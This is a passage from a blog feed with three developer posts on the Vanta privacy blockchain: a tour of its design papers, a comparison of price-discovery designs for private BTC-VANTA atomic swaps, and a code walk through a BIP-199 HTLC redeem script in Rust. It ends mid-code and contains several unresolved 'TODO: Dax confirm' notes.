  <content type="html"><![CDATA[<p>A privacy chain in 2026 cannot ship as a one-page marketing site with a PDF link. The serious audience — auditors, exchanges, regulators, other engineers — needs to read the design without filling out a form. So Vanta&#39;s whitepaper isn&#39;t a PDF on a website. It&#39;s a directory: <a href="https://github.com/Dax911/vanta/tree/main/papers"><code>papers/</code></a> in the main repo, 17 markdown files, MIT-licensed, version-controlled, diffable.</p>
<p>This post is a tour. One paragraph per doc, plus the planning notes that aren&#39;t in <code>papers/</code> but are in <a href="https://github.com/Dax911/vanta/tree/main/planning"><code>planning/</code></a>. At the end I call out the wording bug the audit flagged but I haven&#39;t fixed yet.</p>
<h2>Why design docs in the repo</h2>
<p>Three reasons.</p>
<p><strong>Diffability.</strong> A change to the chain rules is a commit. The doc that explains the rule change is also a commit. Over time the doc diff and the code diff are in the same git history, so you can check whether the prose ever lagged the code.</p>
<p><strong>No marketing intermediary.</strong> A PDF on a website goes through whoever owns the website. A markdown file in the repo is <em>the</em> artefact; nobody can mis-summarize it without me noticing. This matters more than I expected when the audience for the docs is &quot;people who will run nodes&quot; rather than &quot;people who will buy the token.&quot;</p>
<p><strong>They&#39;re the input to the LLMs that read the codebase.</strong> Increasingly, technical evaluation in 2026 is mediated by AI assistants reading the repo. Markdown in the repo is what those tools index. PDF on a website is not. <strong>TODO: Dax confirm this is still our framing once the docs/ ship has matured.</strong></p>
<h2>The 17 papers</h2>
<p><code>00-master.md</code> — index of everything else. If you only read one, this is the one to <em>not</em> read; jump to <code>01</code>.</p>
<p><code>01-executive-summary.md</code> — the headline pitch in long form. The opening line is the design: <em>&quot;Vanta Protocol is the first sovereign Layer 1 blockchain where financial privacy is enforced by consensus on every non-coinbase transaction.&quot;</em> The interesting bits: the explicit refusal of Zcash-style optional shielding, the rule name <code>bad-vanta-v2-output-nonzero-value</code> that fires on any v2 output with non-zero <code>nValue</code>, the &quot;fast privacy decay&quot; coinbase pattern (one confirmation transparent, private after).</p>
<p><code>02-technical-whitepaper.md</code> — the deep dive. Witness v2 layout, the <code>VantaJournal</code> struct, the <code>value_balance</code> semantics (&gt;0 burns hidden value to L1, &lt;0 mints it from L1, =0 is a pure shielded transfer). The arithmetic of the consensus rule. This is the paper an auditor reads.</p>
<p><code>03-comparative-technical-analysis.md</code> — Vanta vs Zcash, vs Monero, vs Penumbra, vs CoinJoin-on-Bitcoin. Honest about where each peer is ahead and where each is behind. Calls out that Penumbra is on the wrong chain base (Cosmos SDK + Tendermint BFT) for our specific bet on PoW.</p>
<p><code>04-market-analysis.md</code> — TAM and competitive positioning. Not technical, but useful for understanding the framing. <strong>TODO: Dax confirm the market sizing before I quote it elsewhere.</strong></p>
<p><code>05-layer-taxonomy.md</code> — the taxonomy of L1 / L2 / sidechain / app-layer privacy and where Vanta sits. Most useful for readers who have already absorbed Penumbra, Zcash, Tornado Cash, and want to triangulate.</p>
<p><code>06-pitch-deck.md</code> — the slides version. Repeats the executive summary at lower resolution.</p>
<p><code>07-business-plan.md</code> — operations, deployment, infra. Mostly internal but in the open repo because there&#39;s nothing actually private in a fair-launch chain&#39;s business plan.</p>
<p><code>08-tokenomics.md</code> — the supply schedule, halvings, fair launch. The numbers are the ones in the <a href="/blog/vanta_zk_privacy_l1/">original L1 post</a>: 100k VANTA per block, 42B total supply, 210k-block halving (~146 days). Zero premine, zero founders allocation. <strong>TODO: Dax confirm we&#39;re not making any forward statements about $VANTA price or fundraising; I have <em>not</em> read these tokenomics with that lens and I won&#39;t quote any forward-looking number.</strong></p>
<p><code>09-performance-analysis.md</code> — block-time, propagation, proof-time benchmarks. Prover takes 30–60s on CPU, verifier ~30ms. Block validation overhead is the verifier cost amortised across block transactions. Acceptable for 1-minute blocks.</p>
<p><code>10-novelty-analysis.md</code> — what&#39;s new vs prior art. The honest version: very little is new at the <em>primitive</em> level (Pedersen commitments, nullifiers, SMTs, all known); the synthesis (mandatory privacy + Bitcoin Core fork + SP1 backend + AuxPoW path) is the contribution.</p>
<p><code>11-paradigm-research.md</code> — the broader research positioning. Reads as a literature review. Useful if you want to know where the design borrows ideas from (Zcash, Penumbra, Aleo) and where it deliberately diverges.</p>
<p><code>12-academic-paper.md</code> — the conference-paper version. Same content as <code>02</code>, formatted to academic conventions. The version we&#39;d submit to a privacy-coin venue if we were doing that.</p>
<p><code>13-security-model.md</code> — what the chain protects against, what it doesn&#39;t. The &quot;what it doesn&#39;t&quot; list is the important part: targeted timing attacks on a single transaction, side-channel leakage through wallet behaviour, an adversary with control of the proof-network if the user uses one. Read this before you build on top.</p>
<p><code>14-public-roadmap.md</code> — what&#39;s shipped, what&#39;s coming. Phase 1/2 complete, Phase 3 in progress (L2 privacy layer with iroh gossip), Phase 4 future (full Rust node rewrite). The dates are deliberate ranges, not commitments.</p>
<p><code>15-regulatory-framework.md</code> — how the chain reads to a regulator. <strong>TODO: Dax confirm before I quote any specific position; I am not a lawyer and the regulatory narrative belongs to the legal review, not to me writing a blog post.</strong></p>
<p><code>16-use-cases.md</code> — what people will actually do with the chain. Treasury operations, individual savings, atomic-swap liquidity. Honest about which use cases need <em>more than</em> mandatory privacy (e.g. payroll, where the recipient set has to be opaque too — that&#39;s a wallet UX problem, not a chain problem).</p>
<p><code>17-zkvm-engineering.md</code> — the deep dive on SP1, Plonky3, why we picked them, the abstraction layer that makes zkVMs swappable. I cited this paper extensively in <a href="/blog/vanta_sp1_zkvm_circuits/">Why we shipped SP1 instead of RISC Zero</a>. It&#39;s the most useful paper for an engineer evaluating Vanta against another zkVM-based chain.</p>
<h2>The planning notes</h2>
<p><a href="https://github.com/Dax911/vanta/tree/main/planning"><code>planning/</code></a> is <em>not</em> in <code>papers/</code>. It&#39;s the loose work-in-progress notes I&#39;m not ready to call canonical. Today there&#39;s one file: <a href="https://github.com/Dax911/vanta/blob/main/planning/price-discovery-for-private-swaps.md"><code>price-discovery-for-private-swaps.md</code></a>.</p>
<p>That doc is worth a separate post, which I wrote: <a href="/blog/vanta_private_atomic_swaps/">Private atomic swaps and the price-discovery problem</a>. The short version: if either side of an atomic swap is shielded, the rate <code>btc_amount / vanta_amount</code> is hidden from observers, which means no public price tape, which means no spot market formation. The doc walks through six options for how price could emerge without compromising the privacy property — voluntary post-trade rate publication, ZK-attested rate proofs, off-chain encrypted order books — and lands on a hybrid recommendation.</p>
<p>I&#39;m holding it in <code>planning/</code> rather than <code>papers/</code> because it&#39;s a <em>design exploration</em>, not a commitment. The status line at the top says exactly that: &quot;Status: Design exploration, not a commitment. Written 2026-04-17.&quot;</p>
<h2>The wording bug I haven&#39;t fixed</h2>
<p>The repo&#39;s <a href="https://github.com/Dax911/vanta/blob/main/CLAUDE.md"><code>CLAUDE.md</code></a> flags an inconsistency I&#39;m aware of:</p>
<blockquote>
<p>Phase 2 papers wording is &quot;code complete, activation pending&quot; but code shows <code>ALWAYS_ACTIVE</code> from genesis — wording bug in <code>papers/01-executive-summary.md</code> to fix.</p>
</blockquote>
<p>The executive summary in <code>01-executive-summary.md</code> describes some of the privacy rules as &quot;code complete, activation pending.&quot; The actual chain has those rules <code>ALWAYS_ACTIVE</code> from genesis — they&#39;re enforced from block 1, not gated behind a future activation. The doc lags the code.</p>
<p>This is the kind of thing that <em>only</em> happens when you&#39;re rewriting both fast. The fix is a five-minute paragraph edit; I&#39;m calling it out here because the right way to handle a doc-vs-code drift is to say &quot;yep, doc lags, here&#39;s the fix&quot; rather than to silently update and hope nobody noticed. <strong>TODO: Dax confirm timing on shipping that fix.</strong></p>
<h2>Why the docs are the README&#39;s older sibling</h2>
<p>A reader who only reads the <a href="https://github.com/Dax911/vanta/blob/main/README.md">README.md</a> gets the chain parameters and a roadmap. A reader who reads <code>papers/</code> gets the <em>case</em> for the chain — why these parameters, why this proof system, why mandatory privacy, why fair launch.</p>
<p>The README is for someone who&#39;s deciding whether to spend an hour. The papers are for someone who&#39;s deciding whether to run a node, port a wallet, list the asset, write a regulatory memo, or audit the cryptography. Different audiences, different artefacts.</p>
<p>Both live in the repo. Both are diffable. Both are MIT-licensed. That&#39;s the documentation discipline I&#39;m trying to lock in: nothing about how the chain works lives behind a marketing page or a sales rep.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/tree/main/papers"><code>papers/</code></a> — the 17 markdown files</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/papers/00-master.md"><code>papers/00-master.md</code></a> — the index</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/papers/01-executive-summary.md"><code>papers/01-executive-summary.md</code></a> — the headline pitch</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/papers/17-zkvm-engineering.md"><code>papers/17-zkvm-engineering.md</code></a> — the SP1/Plonky3 deep dive</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/planning/price-discovery-for-private-swaps.md"><code>planning/price-discovery-for-private-swaps.md</code></a> — the swap-price design exploration</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the practitioner-flavored pitch</li>
<li><a href="/blog/vanta_sp1_zkvm_circuits/">Why we shipped SP1 instead of RISC Zero</a> — the post that quotes paper 17 most</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Private atomic swaps and the price-discovery problem]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_private_atomic_swaps/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_private_atomic_swaps/"/>
  <published>2026-04-17T05:52:57.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="atomic-swaps"/>
  <category term="htlc"/>
  <category term="price-discovery"/>
  <category term="planning"/>
  <summary type="html"><![CDATA[BTC ↔ VANTA atomic swaps via HTLC are the easy part. If the VANTA leg is shielded, no observer can compute the rate, and no rate means no public price. Walking through six designs and the hybrid recommendation in vanta/planning.]]></summary>
  <content type="html"><![CDATA[<p>The 2026-04-17 commit message — <code>planning: price-discovery design for private atomic swaps</code> — is one of the more interesting things in the Vanta repo, because it isn&#39;t code. It&#39;s a design exploration in <a href="https://github.com/Dax911/vanta/blob/main/planning/price-discovery-for-private-swaps.md"><code>planning/price-discovery-for-private-swaps.md</code></a>, and it&#39;s the kind of doc I wish more chains shipped: a problem statement, six options, an honest comparison, a recommendation, and an explicit <em>&quot;this is not a commitment&quot;</em> status flag.</p>
<p>This post walks through the design. The HTLC machinery on the implementation side lives in <a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-swap"><code>vanta/vanta-swap</code></a>; the policy question is in <code>planning/</code>.</p>
<h2>What atomic swaps are, briefly</h2>
<p>A hash-time-locked contract (HTLC) lets two parties on different chains agree to a swap without trusting each other or a third party. Alice has BTC, Bob has VANTA. They agree to swap. Alice picks a random secret <code>s</code>, computes <code>h = sha256(s)</code>. They both lock their funds in HTLCs that pay out to <em>whoever knows <code>s</code></em> (and refund to the original sender after a timeout, if <code>s</code> never gets revealed).</p>
<p>The script for the HTLC is short — quoting <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/htlc.rs"><code>vanta/vanta-swap/src/htlc.rs</code></a>:</p>
<pre><code>OP_IF
  OP_SHA256 &lt;hash&gt; OP_EQUALVERIFY &lt;receiver_pubkey&gt; OP_CHECKSIG
OP_ELSE
  &lt;locktime&gt; OP_CHECKLOCKTIMEVERIFY OP_DROP &lt;sender_pubkey&gt; OP_CHECKSIG
OP_ENDIF
</code></pre>
<p>The <code>IF</code> branch is &quot;claim with the preimage.&quot; The <code>ELSE</code> branch is &quot;refund after the timelock.&quot; Both are P2WSH-wrapped. The receiver claims by revealing <code>s</code> to spend the HTLC; once <code>s</code> is on-chain, the other side claims their HTLC using the same <code>s</code>. If either side bails, both refund after the timeout.</p>
<p>Same <code>hash</code> on both chains. Same <code>OP_SHA256</code>. Both Bitcoin and Vanta speak this script unchanged. That&#39;s why the swap implementation in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/swap.rs"><code>vanta/vanta-swap/src/swap.rs</code></a> works against both chains&#39; RPCs with a single <code>ChainConfig</code> abstraction.</p>
<h2>The price-discovery problem</h2>
<p>The swap implementation today is <em>fully transparent on both sides</em>. From the planning doc:</p>
<blockquote>
<p>Worth being precise: <strong>the current swap implementation is fully transparent on both sides.</strong></p>
<ul>
<li><code>swap.rs</code> funds the VANTA leg via L1 RPC (<code>createrawtransaction</code> →  <code>fundrawtransaction</code> → <code>signrawtransactionwithwallet</code> → <code>sendrawtransaction</code>). That&#39;s the transparent L1, not the shielded L2.</li>
<li>So <code>vanta_amount</code> is plainly visible in the P2WSH output on L1.</li>
<li><code>btc_amount</code> is visible on Bitcoin.</li>
<li>Price is therefore <strong>already discoverable today</strong> by anyone scanning matched hashes across the two chains.</li>
</ul>
</blockquote>
<p>So the problem is <em>forward-looking</em>. Once the VANTA leg moves to a shielded note (commitment + encrypted amount, no visible value on L1), an external observer can:</p>
<ul>
<li>find the BTC-side HTLC with amount <code>X</code> and embedded hash <code>h</code></li>
<li>see <em>that</em> a note with commitment tied to <code>h</code> exists on VANTA L2, but not its amount <code>Y</code></li>
<li>without <code>Y</code>, no <code>X/Y</code> rate</li>
</ul>
<p>No rate means no tape. No tape means no public order book. No public order book means no efficient price formation. <em>That</em> is the problem.</p>
<p>I want to push back on a knee-jerk response that &quot;privacy chains shouldn&#39;t have public prices.&quot; Of course they should — every market needs a price. The question is <em>how price emerges without compromising the privacy property</em>. That&#39;s not the same as &quot;should there be a price at all,&quot; which is a question I think privacy maximalists sometimes confuse.</p>
<h2>Six options</h2>
<p>The doc walks through six designs. I&#39;ll abbreviate.</p>
<h3>1. Do nothing — OTC negotiation only</h3>
<p>Peers find each other on Nostr / Telegram / a forum, agree privately, swap. Zero engineering. Zero price discovery. Hard to bootstrap a market. New users can&#39;t tell what a fair rate is. LPs won&#39;t come.</p>
<p>Pros: trivial, full privacy. Cons: the market doesn&#39;t form.</p>
<h3>2. Voluntary post-trade rate publication</h3>
<p>After a swap, either party signs a <code>{rate, timestamp}</code> statement and posts it to a relay (Nostr, an HTTP aggregator, whatever). An aggregator computes a median or time-bucketed mean. <strong>Crucially: publish the rate, not the size.</strong> Rate is a scalar; it leaks nothing about how much the signer actually traded.</p>
<p>Pros: simple, opt-in, amounts stay shielded. Cons: self-reported, trivially fakeable. Anti-spam needs a cost function — proof of recent swap, a small VANTA burn, a reputation-weighted signer set.</p>
<h3>3. ZK-attested rate proofs</h3>
<p>Use SP1 (already in the consensus stack) to prove:</p>
<blockquote>
<p>&quot;I participated in a swap whose hash is <code>H</code> (publicly known), and the rate was in <code>[r − ε, r + ε]</code>, without revealing either amount.&quot;</p>
</blockquote>
<p>The circuit takes <code>X</code>, <code>Y</code>, <code>r</code> as private witness, publishes <code>H</code> and <code>r</code> as public output. Anyone can verify the SP1 proof and see a rate without seeing amounts.</p>
<p>Pros: cryptographically binding, not self-reported. Cons: non-trivial circuit work; SP1 proof costs (the doc notes the 5070 box is below the 24 GB GPU minimum, so we&#39;d need CPU proving or a remote prover); UX friction.</p>
<h3>4. Off-chain encrypted order book with HTLC settlement</h3>
<p>Bisq-style. Orders live in a P2P relay (Tor hidden service, Nostr, Waku). Orders are plaintext (amount, rate, counterparty pubkey) at <em>posting</em> time. Match happens, counterparties swap via HTLC, order disappears. Price discovery is from the <em>order book</em>, not from chain history.</p>
<p>Pros: decouples price discovery (pre-trade order book) from settlement privacy (post-trade on-chain). The doc calls this &quot;arguably the right architecture.&quot;</p>
<p>Cons: requires a relay layer; orders-in-the-open weakens pre-trade privacy of unfilled orders.</p>
<h3>5. Trusted LP / market maker</h3>
<p>Professional MMs run their own nodes, quote two-sided publicly, users trade against them via atomic swap. LPs willingly reveal quotes because that&#39;s their business.</p>
<p>Pros: realistic bootstrapping path, CEXes already work this way. Cons: centralises price discovery; LPs need KYC/operational reality → potentially a regulatory attack surface.</p>
<h3>6. Hybrid: opt-in transparent-swap mode</h3>
<p>Users opt into a &quot;transparent swap&quot; that pins the VANTA leg to L1 (visible). Those swaps contribute to a public price tape. Private traders settle on L2 and free-ride on the tape.</p>
<p>Pros: zero new crypto; user-level privacy/contribution choice. Cons: tragedy-of-the-commons. Everyone wants privacy, nobody wants to be the transparent swapper. Requires incentive design (fee rebates for transparent swappers?).</p>
<h2>The recommendation</h2>
<p>The doc lands on a hybrid of #4 and #2:</p>
<blockquote>
<p>For a near-term path: <strong>combine #4 (off-chain order book) + #2 (voluntary rate publication)</strong>. Rationale:</p>
<ul>
<li>#4 gives us an actual market — users see bids/asks before committing.</li>
<li>#2 gives us a historical tape — aggregators compile published rates into OHLC candles.</li>
<li>Both respect the privacy invariant: amounts stay shielded.</li>
<li>Both are boring engineering, not new cryptography. We can ship them.</li>
<li>#3 (ZK rate proofs) is a &quot;do it later if spam becomes a real problem&quot; lever.</li>
</ul>
</blockquote>
<p>I agree with this and want to underscore the framing: <em>boring engineering, not new cryptography</em>. New cryptography is expensive in the medium term — it has to be audited, the implementation has to land, the wallets have to integrate, the tooling has to mature. An off-chain order book + voluntary rate posts ship in a quarter using existing primitives. The ZK rate-proof option is a clean lever to pull <em>later</em>, if the simpler scheme proves insufficient against spam.</p>
<p>Worth a moment on #3 specifically. ZK rate proofs are tempting because they&#39;re cool. They&#39;re also a chunk of circuit work, and the wallet UX gets one more &quot;generate proof&quot; wait. Building it before we know whether voluntary publication produces enough useful data is over-engineering. The principle: <strong>build the simplest thing that could work, instrument it, then add cryptography when the simpler thing demonstrably fails.</strong></p>
<h2>Open questions the doc flags</h2>
<p>The planning note ends with five questions I haven&#39;t answered yet:</p>
<ol>
<li><strong>Anti-spam for voluntary publication.</strong> Cost function: proof of recent shielded spend? Small VANTA burn? Reputation-weighted signer? My current bias is &quot;small VANTA burn weighted by chain age&quot; — cheap to publish if you&#39;ve held VANTA for a while, expensive if you haven&#39;t, no operational dependency on a reputation graph.</li>
<li><strong>Relay topology.</strong> Nostr (easy, public), Waku, or a Tor hidden-service relay? Probably Nostr to start. <strong>TODO: Dax confirm we want Nostr-first vs a custom relay.</strong></li>
<li><strong>Quote units.</strong> sats/VANTA or VANTA/BTC? Pick one canonical representation up front and stick it in the whitepaper suite. I lean sats/VANTA because it makes for round numbers at current valuation.</li>
<li><strong>Handling the current transparent swap.</strong> Migration path or permanent second mode? Affects whether the price-discovery design has to handle two worlds. <strong>TODO: Dax confirm.</strong></li>
<li><strong>Cross-asset routing.</strong> VANTA ↔ X ↔ BTC via multi-hop. Out of scope here, but on the longer-term roadmap.</li>
</ol>
<p>These are the kind of open questions that <em>should</em> be public. A privacy chain whose policy decisions are made behind closed doors is, sociologically, a chain you can&#39;t trust. Putting the design exploration in the open repo means the discussion happens in pull requests, not in a slack I run.</p>
<h2>What&#39;s <em>not</em> in this design</h2>
<p>A couple of things I want to flag explicitly because they often come up.</p>
<p><strong>Oracles.</strong> Vanta does not currently feed external prices into on-chain logic. There&#39;s no smart-contract platform, so there&#39;s no place to feed them <em>to</em>. Oracles are an L2 problem; they&#39;ll show up if and when programmable shielded contracts ship.</p>
<p><strong>Loans / derivatives.</strong> Out of scope. Spot atomic swaps are the spot market. DeFi primitives beyond spot are a much larger conversation.</p>
<p><strong>A unified DEX.</strong> I am skeptical of &quot;one app to rule them all&quot; DEX designs for a privacy chain. Composability is harder when amounts are shielded; the simplest path is probably <em>multiple</em> small-surface protocols (atomic swaps for cross-chain, order book for in-chain, AMM only if liquidity demands it).</p>
<h2>What changed my mind about the swap problem</h2>
<p>Two things.</p>
<p>First, when I started thinking about this, I assumed ZK rate proofs (option 3) were the obvious answer because they&#39;re the most cryptographically clean. They&#39;re also the most cryptographically <em>expensive</em>. Once I actually thought about the user flow — generate a swap, generate a proof, <em>then</em> publish — I realised the friction would crater participation. The voluntary scheme is worse on cryptographic strength but enormously better on participation, and a market with weaker price proofs that more people use is a better market than a strong-proof market that nobody uses.</p>
<p>Second, I underestimated how much of the answer is <em>just an order book</em>. Bisq&#39;s design has been working for years on exactly this problem (privacy-respecting BTC ↔ fiat). An off-chain encrypted order book with on-chain HTLC settlement is the architecture that <em>already works</em> in the wild for a closely-related problem. Reusing it for VANTA ↔ BTC is the smallest delta.</p>
<p>Both of these updates landed <em>because the planning doc was a pull-out-the-options doc</em>, not a &quot;here&#39;s the design&quot; doc. Writing it forced the comparison.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/planning/price-discovery-for-private-swaps.md"><code>planning/price-discovery-for-private-swaps.md</code></a> — the doc this post walks through</li>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-swap"><code>vanta/vanta-swap</code></a> — the HTLC implementation</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the chain</li>
<li><a href="/blog/vanta_papers_design_doc_tour/">What&#39;s in vanta/papers</a> — the canonical-papers tour</li>
<li><a href="https://bisq.network/">Bisq&#39;s design overview</a> — the existing implementation of &quot;encrypted order book + on-chain settlement&quot;</li>
<li><a href="https://github.com/bitcoin/bips/blob/master/bip-0199.mediawiki">BIP 199 (HTLC)</a> — the upstream pattern the swap script implements</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[BIP-199 by hand: a code walk through vanta-swap]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_swap_htlc_walkthrough/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_swap_htlc_walkthrough/"/>
  <published>2026-04-13T22:22:23.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="atomic-swaps"/>
  <category term="htlc"/>
  <category term="bitcoin"/>
  <category term="bip-199"/>
  <category term="rust"/>
  <summary type="html"><![CDATA[A line-by-line tour of the Rust HTLC state machine that drives BTC ↔ VANTA atomic swaps. Redeem script bytes, the 2x/1x timelock dance, BIP143 sighash binding, and the witness layout that makes refund and claim routes provably distinct.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, RustPlayground, TradeoffTable, Aside } from &quot;@/components/mdx&quot;;</p>
<p>The companion to <a href="/blog/vanta_private_atomic_swaps/">Private atomic swaps and the price-discovery problem</a> is a piece of code, not a planning document. The chain-policy decisions about <em>how prices form</em> are upstream of <a href="https://github.com/Dax911/vanta/blob/main/planning/price-discovery-for-private-swaps.md"><code>planning/price-discovery-for-private-swaps.md</code></a>. The actual swap mechanics — the bytes that go on the wire, the script that locks the funds, the witness that unlocks them — live in <a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-swap"><code>vanta/vanta-swap</code></a>, which landed in commit <a href="https://github.com/Dax911/vanta/commit/149c1a419"><code>149c1a41</code></a> on 2026-04-13.</p>
<p>This post is a code walk. If you want the policy framing, read the other post first. If you want to understand what an HTLC actually <em>is</em> in 350 lines of Rust, you&#39;re in the right place.</p>
<Aside kind="note">
The Vanta L1 implements the same Bitcoin Core script interpreter Bitcoin does. That means BIP-199 HTLCs are *bit-identical* on both chains. The same `htlc.rs` builds scripts that lock funds on either side of the swap.
</Aside>

<h2>What <a href="https://github.com/bitcoin/bips/blob/master/bip-0199.mediawiki">BIP-199</a> is, in one paragraph</h2>
<p>A hash time-locked contract is a Bitcoin output that pays whoever can produce one of two things:</p>
<ol>
<li>The preimage of a public hash (the <em>claim</em> path), or</li>
<li>The original funder&#39;s signature, but only after a block-height locktime has passed (the <em>refund</em> path).</li>
</ol>
<p>That&#39;s a four-line redeem script. The protocol around it — generating the secret, picking timelocks, broadcasting in the right order, watching the chain for the preimage reveal — is the <a href="https://github.com/bitcoin/bips/blob/master/bip-0199.mediawiki">BIP-199 atomic-swap state machine</a>. Two parties construct two HTLCs, one on each chain, with the <em>same</em> hash and <em>opposite-asymmetric</em> timelocks. Either both legs settle or both legs refund. There is no third outcome.</p>
<h2>The timelock math</h2>
<p>The whole thing rests on a piece of arithmetic that is one inequality:</p>
<p>$$
t_{\text{now}} &lt; t_{1} &lt; t_{2}
$$</p>
<p>where $t_2$ is the initiator&#39;s locktime (longer) and $t_1$ is the participant&#39;s locktime (shorter, conventionally $t_1 = t_2 / 2$). The initiator commits <em>first</em>, with the longer timelock. The participant matches with a shorter timelock. When the initiator claims the participant&#39;s HTLC (revealing the preimage), the participant has at least $t_1$ left to use that preimage on the initiator&#39;s HTLC. If the participant disappears, the initiator waits $t_2$ blocks and refunds. If the initiator disappears, the participant waits $t_1$ and refunds.</p>
<p>The asymmetry matters. If the timelocks were equal, a malicious initiator could refund their own HTLC seconds before the participant claims, racing the participant for one of the funds. The 2x/1x ratio gives the participant a $t_1$-block buffer to react to the preimage reveal.</p>
<p>In Vanta&#39;s CLI this shows up as a <code>--timelock</code> flag on <code>initiate</code> and a derived value the participant uses, printed as a hint by <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/main.rs"><code>main.rs</code></a>:</p>
<pre><code>The participant should use timelock = {timelock / 2} (half of yours).
</code></pre>
<p>Half. Not &quot;your locktime minus epsilon.&quot; Half. Because the participant has to pick a value that gives the initiator enough time to claim <em>and</em> leaves the participant a meaningful refund window if the initiator vanishes.</p>
<h2>The state machine</h2>
<p>Four parties, four states.</p>
<p>&lt;Mermaid chart={`stateDiagram-v2
  [<em>] --&gt; Created: initiator generates secret + hash
  Created --&gt; Funded_I: initiator broadcasts HTLC on chain A (locktime t2)
  Funded_I --&gt; Funded_P: participant broadcasts HTLC on chain B (locktime t1)
  Funded_P --&gt; Claimed_P: initiator reveals preimage, claims chain B
  Claimed_P --&gt; Claimed_I: participant uses revealed preimage on chain A
  Claimed_I --&gt; [</em>]: swap complete</p>
<p>  Funded_I --&gt; Refunded_I: t2 expired, no participant
  Funded_P --&gt; Refunded_P: t1 expired, initiator never claimed
  Refunded_I --&gt; [<em>]: aborted before participant
  Refunded_P --&gt; [</em>]: aborted after participant`}/&gt;</p>
<p>The two refund paths are the <em>only</em> way the swap fails partially. Either both sides claim — atomic — or both sides refund — atomic. The mid-swap state where exactly one side has settled is unreachable, because the act of claiming chain B <em>publishes</em> the preimage on chain B, and chain A&#39;s HTLC reads the same preimage. (We&#39;ll come back to this.)</p>
<p>The Rust enum that mirrors this is in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/swap.rs"><code>swap.rs:48</code></a>:</p>
<pre><code class="language-rust">#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub enum SwapStatus {
    Created,
    Funded,
    Claimed,
    Refunded,
}
</code></pre>
<p>Note: there&#39;s no <code>Aborted</code> or <code>Failed</code>. A swap that goes wrong refunds. There is no sad-path state.</p>
<h2>The redeem script, byte by byte</h2>
<p>Quoting <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/htlc.rs"><code>htlc.rs</code></a>:</p>
<pre><code>OP_IF
  OP_SHA256 &lt;hash&gt; OP_EQUALVERIFY &lt;receiver_pubkey&gt; OP_CHECKSIG
OP_ELSE
  &lt;locktime&gt; OP_CHECKLOCKTIMEVERIFY OP_DROP &lt;sender_pubkey&gt; OP_CHECKSIG
OP_ENDIF
</code></pre>
<p>The <code>IF</code> branch is the <em>claim</em> path. To take it, the spender pushes:</p>
<ol>
<li>A signature over the spending transaction</li>
<li>A 32-byte preimage</li>
<li><code>0x01</code> (OP_TRUE — selects the IF branch)</li>
<li>The redeem script itself (this is the P2WSH witness convention)</li>
</ol>
<p>The script then runs: pop <code>0x01</code> (truthy → enter IF), <code>OP_SHA256</code> the preimage, compare against the embedded <code>&lt;hash&gt;</code>, <code>OP_EQUALVERIFY</code> (fail if not equal), then <code>&lt;receiver_pubkey&gt; OP_CHECKSIG</code> against the signature.</p>
<p>The <code>ELSE</code> branch is the <em>refund</em> path:</p>
<ol>
<li>A signature</li>
<li>The empty byte string (OP_FALSE — selects the ELSE branch)</li>
<li>The redeem script</li>
</ol>
<p><code>&lt;locktime&gt; OP_CHECKLOCKTIMEVERIFY OP_DROP</code> is the BIP-65 incantation: pull <code>nLockTime</code> from the spending tx, compare against <code>&lt;locktime&gt;</code>, fail if too early. Then <code>&lt;sender_pubkey&gt; OP_CHECKSIG</code>.</p>
<p>The Rust that builds this lives in <code>redeem_script(&amp;self) -&gt; Vec&lt;u8&gt;</code>. It hand-emits opcodes. Worth quoting — there&#39;s no &quot;script library&quot; here, just a <code>Vec&lt;u8&gt;</code> that gets pushed on:</p>
<RustPlayground edition="2021" mode="debug" title="HTLC redeem script construction">
{`// Simplified excerpt from vanta-swap/src/htlc.rs.
// Hand-emitted Bitcoin script — no abstraction layer.

<p>mod op {
    pub const OP_IF: u8 = 0x63;
    pub const OP_ELSE: u8 = 0x67;
    pub const OP_ENDIF: u8 = 0x68;
    pub const OP_DROP: u8 = 0x75;
    pub const OP_SHA256: u8 = 0xa8;
    pub const OP_EQUALVERIFY: u8 = 0x88;
    pub const OP_CHECKSIG: u8 = 0xac;
    pub const OP_CHECKLOCKTIMEVERIFY: u8 = 0xb1;
}</p>
<p>fn build_redeem(
    hash: [u8; 32],
    receiver_pubkey: &amp;[u8],
    sender_pubkey: &amp;[u8],
    locktime: u32,
) -&gt; Vec<u8> {
    let mut s = Vec::with_capacity(128);</p>
<pre><code>s.push(op::OP_IF);
s.push(op::OP_SHA256);
s.push(0x20);                     // push 32 bytes
s.extend_from_slice(&amp;hash);
s.push(op::OP_EQUALVERIFY);
s.push(receiver_pubkey.len() as u8);
s.extend_from_slice(receiver_pubkey);
s.push(op::OP_CHECKSIG);

s.push(op::OP_ELSE);
let lt = encode_script_number(locktime as i64);
s.push(lt.len() as u8);
s.extend_from_slice(&amp;lt);
s.push(op::OP_CHECKLOCKTIMEVERIFY);
